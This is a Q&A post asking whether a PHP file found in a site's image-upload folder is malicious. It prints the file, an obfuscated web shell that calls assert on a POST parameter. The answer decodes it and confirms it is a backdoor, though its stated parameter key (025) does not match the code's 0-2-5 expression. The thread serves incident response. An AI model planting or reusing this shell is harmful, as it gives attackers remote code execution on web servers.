我的上传文件夹中有未知的PHP文件，这不是恶意代码吗？

Question

Recently i found out my project got hacked and i found a script in my images folder which where a directory for user to upload their images (using file input). Here is the script that i found in the directory.

errot_db.php

<?php                  
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";                  
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";                  
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}                  
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>

Answer 1

This code hides the following statement:

@assert ($_POST[025]);

Which means it'll execute the PHP code send in the POST variable "025". So, yes, this is indeed a backdoor! I recommend asking on security.stackexchange.com for help on how to properly deal with the fallout.